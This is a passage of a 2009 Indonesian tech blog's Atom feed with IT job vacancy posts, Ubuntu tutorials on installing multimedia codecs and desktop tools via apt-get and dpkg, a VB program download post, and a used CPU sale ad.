Distribution industrial sites.&lt;br /&gt;&lt;br /&gt;·         Fluent in English.&lt;br /&gt;&lt;br /&gt;Kindly send your application and resume using format of .DOC or .PDF along with the photograph (put the position code in the subject of your email), directly to :&lt;br /&gt;&lt;br /&gt;&lt;a href="mailto:id.recruitment@jatis.com"&gt;id.recruitment@jatis.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Excellent opportunity and challenges will be offered. Only shortlisted candidates will be notified.&lt;br /&gt;&lt;br /&gt;source. &lt;a href="http://jobsdb.com" target="_blank"&gt;jobsdb.com&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-5101229711858335514?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/5101229711858335514/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=5101229711858335514' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/5101229711858335514'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/5101229711858335514'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/09/oracle-scm-vacancy.html' title='Oracle SCM Vacancy'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-3266363352977129933</id><published>2009-08-06T02:01:00.000-07:00</published><updated>2009-08-06T02:04:35.701-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vacancy'/><title type='text'>IT Project Manager Vacancy</title><content type='html'>Monroe Consulting Group is an executive level recruitment&lt;br /&gt;&lt;br /&gt;Specialist. Boasting a network of offices throughout South East Asia we provide expertise and knowledge of local and cross boarder recruitment.&lt;br /&gt;&lt;br /&gt;We are currently recruiting for a Multinational IT Company which Established in 1975, our client is the prominent strategic investments and total solution provider in Indonesia.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Requirements:&lt;br /&gt;&lt;br /&gt;    * Hold a minimum of S1 degree from related major with 5-7 years experiences in IT Industry and Business.&lt;br /&gt;    * Prince 2 Certified and PMP Certified&lt;br /&gt;    * Have strong network in IT Industry.&lt;br /&gt;    * Have strong knowledge and skill at OOP (Object Oriented Programming)&lt;br /&gt;    * Have strong knowledge in business process for IT industry is a must.&lt;br /&gt;    * Have strong leadership skill and have ability to manage various type of people&lt;br /&gt;    * Have strong negotiation skill, communication skill, interpersonal skill, and positive attitude,&lt;br /&gt;    * Able to handle project with tight deadline&lt;br /&gt;    * Fast learner and self motivated and sales oriented.&lt;br /&gt;    * Have a good communication skill.&lt;br /&gt;    * Preferably from IT Industry&lt;br /&gt;&lt;br /&gt;Qualified Candidates should apply in confidence to &lt;a href="mailto:IT@monroeconsulting.co.id"&gt;IT@monroeconsulting.co.id&lt;/a&gt; or via this site.&lt;br /&gt;&lt;br /&gt;source : &lt;a href="http://jobsdb.com " target="_blank"&gt;jobsdb.com &lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-3266363352977129933?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/3266363352977129933/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=3266363352977129933' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3266363352977129933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3266363352977129933'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/08/it-project-manager-vacancy.html' title='IT Project Manager Vacancy'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-5477637300268853885</id><published>2009-08-06T01:54:00.000-07:00</published><updated>2009-08-06T02:00:53.950-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vacancy'/><title type='text'>Network Security Engineer Vacancy</title><content type='html'>PT Maestro Global Informatika is an International company focusing on delivering high quality IT services to business organizations located in Indonesia and Australia. Our technology expertises are in infrastructure connectivity, network security, and unified communications. Our IT services include following: managed infrastructure services, consulting, outsourcing, and training. Our services offering enable business organizations to focus on their core business and effectively use Information Technology to support day to day and critical business operations.&lt;br /&gt;&lt;br /&gt;Visit our website at &lt;a href="http://maestroglobal.co.id" target="_blank"&gt;www.maestroglobal.co.id&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Network Security Engineer Essential duties and responsibilities:&lt;br /&gt;&lt;br /&gt;    * Provide technical support regarding the information security systems.&lt;br /&gt;    * Evaluates, develops and supports information security technical requirements.&lt;br /&gt;    * Actively involved in the evaluation of security requirements for projects, products and procedures.&lt;br /&gt;    * Enforces security policies and procedures using security tools and other methods.&lt;br /&gt;    * Tracks industry trends and maintains knowledge of new security technologies.&lt;br /&gt;    * Evaluate security implications of external network connectivity requests.&lt;br /&gt;    * Familiar with vulnerability assessment and management tools, pentration testing tools, and other security tools.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;    * Actively involved in the development and implementation of security technology standards and security procedures which are shared with other IT teams and the business.&lt;br /&gt;    * Regularly reviews networking and server infrastructure security standards as well as the implementation of new security-based technologies.&lt;br /&gt;    * Participate in project and product requirements discussions and provide recommendations based on security best practices.&lt;br /&gt;    * Prepares status reports regularly for operational and project work as well as for security matters as needed or requested to develop security risk analysis scenarios and response procedures.&lt;br /&gt;    * Produce and maintain network and system security diagrams and documentations.&lt;br /&gt;    * Respond 24x7 (in a rotation) to escalated security violation alerts, review reports and investigate potential security exceptions in depth while coordinating with other team members as needed.&lt;br /&gt;Requirements:&lt;br /&gt;&lt;br /&gt;    * Male or Female, max age 30 y.o.&lt;br /&gt;    * Bachelor degree in Computer Science, Information Systems or equivalent work experience required.&lt;br /&gt;    * Minimum 2 years of supporting and troubleshooting a medium to large enterprise security infrastructure.&lt;br /&gt;    * Fresh graduate with Bachelor degree in Computer Science or Information system related field with exceptional academic record will also be considered for junior positions.&lt;br /&gt;    * Strong technical/â€‹analytical.&lt;br /&gt;    * Excellent verbal and written communication skills are mandatory.&lt;br /&gt;    * Requires technical expertise in systems administration and security tools combined with the knowledge of security practices and procedures.&lt;br /&gt;    * Must possess good technical knowledge of client/server, network topology, and systems infrastructure security.&lt;br /&gt;    * Advanced knowledge in Firewall, IPS, IPSec VPN, SSL VPN, Security Event Management, file systems, and operating systems.&lt;br /&gt;    * Ability to listen attentively; display patience and flexibility.&lt;br /&gt;    * Analyze complex situations and provide effective solutions.&lt;br /&gt;    * Make independent decisions using sound judgment.&lt;br /&gt;    * Organize and prioritize work load.&lt;br /&gt;    * Ability to maintain a professional relationship with customers and employees.&lt;br /&gt;    * Well organized, high attention to detail, ability to handle multiple tasks concurrently.&lt;br /&gt;    * Ability to work in a fast paced dynamic environment and prioritize tasks.&lt;br /&gt;    * Microsoft, Cisco, Linux/Unix, Juniper Netscreen and or other security certification highly desirable.&lt;br /&gt;&lt;br /&gt;In a professional service business such as ours, success is derived from the knowledge, skills and attributes of our management and staff. We know exactly that our greatest strength comes from our diverse and motivated people with the expertise and insight to tackle the toughest client issue.&lt;br /&gt;&lt;br /&gt;We are actively looking individuals who would be willing to grow with us, roll up sleeves and achieve results. On top of that the individuals must be able to emulate our company values of integrity, commitment to the customer, commitment to the team, professionalism and work ethic.&lt;br /&gt;&lt;br /&gt;We can only give one option when joining our team: successful career ahead!&lt;br /&gt;If you would like to apply for the positions please send us your resume to &lt;a href="mailto:career@maestroglobal.co.id"&gt;career@maestroglobal.co.id&lt;/a&gt;&lt;br /&gt;All resumes will be treated confidentially and on a first come first serve basis.&lt;br /&gt;&lt;br /&gt;source. &lt;a href="http://jobsdb.com" target="_blank"&gt;jobsdb.com&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-5477637300268853885?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/5477637300268853885/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=5477637300268853885' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/5477637300268853885'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/5477637300268853885'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/08/network-security-engineer-vacancy.html' title='Network Security Engineer Vacancy'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-5717270560630837845</id><published>2009-06-01T09:02:00.000-07:00</published><updated>2009-06-01T09:04:31.434-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Install Multimedia Plug-ins</title><content type='html'>Music and video files come in a wide variety of exotic formats. Learn how to locate and install the plug-ins you need to view or listen to them. &lt;br /&gt;On some Linux distributions, getting all of your multimedia files to play seems like it requires all sorts of command-line voodoo. One thing that sets Ubuntu apart is just how easy it is to grab all of the packages you need to play multimedia content. In this hack, we will walk you through the necessary steps so that once you are finished, Ubuntu will happily play just about any media file you throw at it.&lt;br /&gt;Tweak Your Repository List&lt;br /&gt;Many of the multimedia packages you need to install do not reside in the default Ubuntu repository. To get these packages, you will need to add the universe and multiverse repositories to Ubuntu. for information about these repositories and how to add them. Once you have added the repositories, be sure to update your list of packages within your package-management tool before proceeding.&lt;br /&gt;Install General-Purpose Libraries and Tools&lt;br /&gt;There are a number of basic libraries and multimedia tools you need to install to get the best support for your multimedia files. These include libraries for MP3 and Ogg Vorbis playback, as well as media players and other tools. If you use Synaptic, select totem-xine from the GNOME Desktop Environment (universe) category, vorbis-tools from the Multimedia category, sox from the Multimedia (universe) category, faad and lame from the Multimedia (multiverse) category, imagemagick from the Graphics category, and finally ffmpeg and mjpegtools from the Graphics (universe) category. Or, if you use apt-get, type:&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;$ sudo apt-get install totem-xine vorbis-tools sox faad lame \\&lt;br /&gt;                 imagemagick ffmpeg mjpegtools&lt;br /&gt;&lt;br /&gt;Install Gstreamer Libraries&lt;br /&gt;Gstreamer is a new plug-in-based approach to multimedia playback. GNOME uses Gstreamer for much of its own multimedia playback, and, while it is still under heavy development, you will still want to install a number of Gstreamer libraries for GNOME. If you use Synaptic as your package management tool, select the gstreamer0.8-plugins-multiverse package from the Libraries (multiverse) category; gstreamer0.8-ffmpeg, gstreamer0.8-mad, and gstreamer0.8-plugins from the Libraries (universe) category; and gstreamer0.8-lame from the Multimedia (multiverse) category, and apply your changes. Alternatively, if you use apt-get, type:&lt;br /&gt;$ sudo apt-get install gstreamer0.8-plugins-multiverse \\&lt;br /&gt;                 gstreamer0.8-ffmpeg gstreamer0.8-mad gstreamer0.8-plugins \\&lt;br /&gt;                 gstreamer0.8-lame&lt;br /&gt;If version 0.8 of these Gstreamer libraries is not available, search your package repository to see if a new version is available (for example, if you are using apt, run the command apt-cache search gstreamer).&lt;br /&gt;Once you have installed all the Gstreamer libraries, open a terminal and type:&lt;br /&gt;$ gst-register-0.8&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;to register all of the Gstreamer plug-ins on your system&lt;br /&gt;Install Codecs of Ambiguous Legality&lt;br /&gt;There are a number of multimedia formats that are encumbered by special licenses that require the user to leverage Windows codec libraries on their Linux system to play back the file. Some of these include QuickTime and Windows Media formats. In certain countries, it may be illegal to play files via these codecs, so open up your checkbook, call up your lawyer, and have a chat before proceeding. &lt;br /&gt;&lt;br /&gt;$ wget ftp://ftp.nerim.net/debian-marillat/pool/main/w/w32codecs/w32codecs_ &lt;br /&gt;               &lt;br /&gt;               20050412-0.0_i386.deb&lt;br /&gt;$ sudo dpkg -i w32codecs_20050412-0.0_i386.deb&lt;br /&gt;            &lt;br /&gt;If for some reason that site isn't available.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-5717270560630837845?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/5717270560630837845/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=5717270560630837845' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/5717270560630837845'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/5717270560630837845'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/06/install-multimedia-plug-ins.html' title='Install Multimedia Plug-ins'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-3867251442217694697</id><published>2009-06-01T08:56:00.000-07:00</published><updated>2009-06-01T09:02:15.077-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vacancy'/><title type='text'>Senior Information Analyst Surabaya Vacancy</title><content type='html'>ITCore PT,  a growing software company located in Surabaya  and specialized in Dot Net solutions is looking for an experienced Information Analyst.&lt;br /&gt;&lt;br /&gt;You will be working in an open, informal environment where software development is the passion of this company workforce!&lt;br /&gt;&lt;br /&gt;Your main task will be analyzing, designing and testing .Net applications. &lt;br /&gt;&lt;br /&gt;Job Requirements&lt;br /&gt;&lt;br /&gt;You should have: &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;    * At least 3 years experience with analyzing and testing .Net applications.&lt;br /&gt;    * Strong in PSQL/TSQL&lt;br /&gt;    * Experience with UML&lt;br /&gt;    * Understanding the basic of Market Capital is an advantage.&lt;br /&gt;    * Proactive&lt;br /&gt;    * Independent team player&lt;br /&gt;    * University level education (preferably in an IT related subject)&lt;br /&gt;    * Fluent English is an advantage.&lt;br /&gt;    * Willing to relocate in Surabaya&lt;br /&gt;&lt;br /&gt;Salary and Benefits&lt;br /&gt;&lt;br /&gt;You will be offered the chance of working with like-minded motivated technical experts who strive on innovation and have a passion for .Net technology.&lt;br /&gt;&lt;br /&gt;We offer a good salary and growth opportunities. The company will provide facilities such as trainings and studies when needed. &lt;br /&gt;&lt;br /&gt;Contact Information :&lt;br /&gt;&lt;br /&gt;Interested?&lt;br /&gt;&lt;br /&gt;Please send your resume/CV to:&lt;br /&gt;&lt;br /&gt; Y.M. Hoo,  &lt;a href="mailto:info@Gibeon.nl"&gt;info@Gibeon.nl&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;quoting 'Information Analyst’&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-3867251442217694697?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/3867251442217694697/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=3867251442217694697' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3867251442217694697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3867251442217694697'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/06/senior-information-analyst-surabaya.html' title='Senior Information Analyst Surabaya Vacancy'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-2424028942294348047</id><published>2009-05-03T06:44:00.000-07:00</published><updated>2009-05-03T06:50:18.424-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='VB / .Net'/><title type='text'>Auto Close Program</title><content type='html'>This source code used to make autoclose program&lt;br /&gt;that is program to close his self based on timer. Which one have been determined.&lt;br /&gt;download, &lt;a href="http://www.ziddu.com/download/4457637/auto-close.rar.html" target="_blank"&gt;click here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;and information to repair window registry, &lt;a href="http://hemlet.regsweep.hop.clickbank.net/"&gt;click here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-2424028942294348047?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/2424028942294348047/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=2424028942294348047' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2424028942294348047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2424028942294348047'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/05/auto-close-program.html' title='Auto Close Program'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-4916347333465993413</id><published>2009-05-03T06:28:00.000-07:00</published><updated>2009-05-03T06:44:47.172-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vacancy'/><title type='text'>IT Instructor Surabaya Vacancy</title><content type='html'>The largest and well known IT Training Company in Indonesia had trained more than 100,000 IT professionals, invite every enthusiasm individuals to fill our job positions for Surabaya Business Unit . ( more detail visit our site : &lt;a href="http://inixindosurabaya" target="_blank"&gt;www.inixindosurabaya.com&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;RESPONSIBILITIES:&lt;br /&gt;&lt;br /&gt;To Deliver IT Training/workshop&lt;br /&gt;Create training/workshop module on demand&lt;br /&gt;Create IT Article regularly&lt;br /&gt;Male/Female max. 30 years old&lt;br /&gt;Bachelor Degree (S1) from reputable university, any Dicipline, IT  Training Experience will be considered.&lt;br /&gt;Have IT Knowledge in one of these field : MICROSOFT (Operating Systems, Database, Programming), CISCO / Networking / Infrastructure , WEB Design and Programming&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Active, creative, have good communication and interpersonal skills (with good  sense of humor ) and Self Learning type.&lt;br /&gt;Capable to teach and deliver training as well&lt;br /&gt;Capable of maintaining good relationship with customer&lt;br /&gt;Fluent in both Indonesian and English – oral and written&lt;br /&gt;Have a good health ,not a smoker, and willing to teach at other City / Country.&lt;br /&gt;&lt;br /&gt;Please state your expected salary in your CV&lt;br /&gt;Interested candidates that proved to qualify the above requirements please send your CV with your latest photograph to following email: &lt;a href="mailto:inixindosurabaya@yahoo.co.id"&gt;inixindosurabaya@yahoo.co.id&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;source. &lt;a href="http://id.jobsdb.com/id/EN/job.asp?R=JDBID029116982" target="_blank"&gt;jobsdb&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;and for small business, &lt;a href="http://hemlet.smallbiz11.hop.clickbank.net/"&gt;click here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-4916347333465993413?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/4916347333465993413/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=4916347333465993413' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/4916347333465993413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/4916347333465993413'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/05/it-instructor-surabaya-vacancy.html' title='IT Instructor Surabaya Vacancy'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-2368953028619492604</id><published>2009-04-12T07:05:00.001-07:00</published><updated>2009-04-12T07:05:59.207-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Tweak Your Desktop Like a Pro</title><content type='html'>Customize your desktop environment, and find a few things you never knew you needed, like a pop-up Quake-style terminal, automatic wallpaper shuffling, and dashboard functionality. &lt;br /&gt;The default Ubuntu GNOME environment is very streamlined and easy to use. Due to its ease of use, however, some of the "power user" features aren't included in the base install. KDE can also benefit from the same tweaking. Here's how to get more usability and features from Ubuntu.&lt;br /&gt;Get Icons on Your Desktop&lt;br /&gt;The default Ubuntu Dapper Drake desktop has no icons on itwhich gives the system a very clean and simple look. If you're coming from Windows, you may miss the My Computer icon and other desktop icons in that OS. It's relatively simple to add them to Ubuntu; it just requires the use of a configuration editor called gconf-editor.&lt;br /&gt;If you hit Alt-F2, the system will pop up a Run Application dialog. Type gconf-editor in that dialog and click Run. The Gconf configuration program will start. Select "apps" from the left pane; then select "nautilus" and "desktop." In the right pane, you will see several options, like "computer_icon_name" and "computer_icon_visible." If you click on the checkbox next to the "&lt;name&gt;_icon_visible". Nautilus will spontaneously add that icon to your desktop. In this fashion, you can add icons for your computer, home directory, network places, documents, and wastebasket&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Get Organized with Tomboy&lt;br /&gt;Tomboy is a tiny application that sits in your panel and acts as an always-on mini Wiki. It's great for making quick notes to yourself without worrying about saving myriad text files or waiting for an editor to start. Much like a Wiki, you can cross-reference the Tomboy notes you make using Wiki-like annotations. Not only that, but the notes are quickly searchable using Tomboy's built-in search capabilities.&lt;br /&gt;To install Tomboy, just apt-get it from a terminal:&lt;br /&gt;bill@defiant:~$ sudo apt-get install tomboy&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;That will fetch and install Tomboy and its dependencies. Once that's completed, you can add Tomboy to your panel by right-clicking on the panel, selecting "Add to Panel," and then choosing Tomboy Notes from the dialog.&lt;br /&gt;Automatic Wallpaper Switching&lt;br /&gt;Something GNOME doesn't provide for is a way to automatically rotate your desktop wallpaper. Luckily, there's a little application written by someone known only as "Earthworm" called wp_tray that will sit in your notification area and rotate your wallpaper based on whatever scheme you wish. The source code for this application is at http://planetearthworm.com/projects/wp_tray/files/wp_tray-0.4.6.tar.gz, but Bill has built it for Ubuntu and made it available at http://wildbill.nulldevice.net/ubuntu/wp-tray_0.4.6-1_i386.deb. Download the .deb for wp_tray and install it using the following command:&lt;br /&gt;bill@defiant:~$ sudo dpkg -i wp-tray_0.4.6-1_i386.deb&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Once wp_tray is installed, add it to your startup programs so it starts when you log in: click on the System Menu, then Preferences, then Sessions, and add wp_tray to the list of Startup Programs. Log out and log in again, and you will be able to right-click on the applet&lt;br /&gt;Automatic Wallpaper Switching&lt;br /&gt;Something GNOME doesn't provide for is a way to automatically rotate your desktop wallpaper. Luckily, there's a little application written by someone known only as "Earthworm" called wp_tray that will sit in your notification area and rotate your wallpaper based on whatever scheme you wish. The source code for this application is at http://planetearthworm.com/projects/wp_tray/files/wp_tray-0.4.6.tar.gz, but Bill has built it for Ubuntu and made it available at http://wildbill.nulldevice.net/ubuntu/wp-tray_0.4.6-1_i386.deb. Download the .deb for wp_tray and install it using the following command:&lt;br /&gt;bill@defiant:~$ sudo dpkg -i wp-tray_0.4.6-1_i386.deb&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Once wp_tray is installed, add it to your startup programs so it starts when you log in: click on the System Menu, then Preferences, then Sessions, and add wp_tray to the list of Startup Programs. Log out and log in again, and you will be able to right-click on the applet &lt;br /&gt;Getting a Pull-Down "Quake" Terminal&lt;br /&gt;There's a very useful KDE application called yakuake that takes the standard KDE Konsole and changes it to a drop-down, on-demand terminal over your desktop and applications. (It's called a "Quake" terminal because of its resemblence to the console that drops down in the Quake series of games.) This is a very handy little application. To install, simply use apt-get to install both konsole and yakuake:&lt;br /&gt;bill@lexington:~$ sudo apt-get install konsole yakuake&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Add yakuake to your startup session using the same instructions for the wp_tray applet. Log out and log in again, and then you can hit F12 to cause yakuake to drop down over your desktop.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-2368953028619492604?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/2368953028619492604/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=2368953028619492604' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2368953028619492604'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2368953028619492604'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/04/tweak-your-desktop-like-pro.html' title='Tweak Your Desktop Like a Pro'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-6730838091362193039</id><published>2009-03-29T15:23:00.000-07:00</published><updated>2009-03-29T15:27:56.600-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Product'/><title type='text'>CPU Pentium 4</title><content type='html'>Dijual unit cpu komputer pentium p4 tanpa monitor&lt;br /&gt;kondisi barang masih baru harga murah ... &lt;br /&gt;silahkan hub helmi 081388539701 atau email : d_hemlet@yahoo.co.id&lt;br /&gt;untuk download atau informasi detail, &lt;a href="http://www.ziddu.com/download/4067221/DaftarHargaCPU.zip.html" target="_blank"&gt;klik disini&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-6730838091362193039?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/6730838091362193039/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=6730838091362193039' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6730838091362193039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6730838091362193039'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/03/cpu-pentium-4.html' title='CPU Pentium 4'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 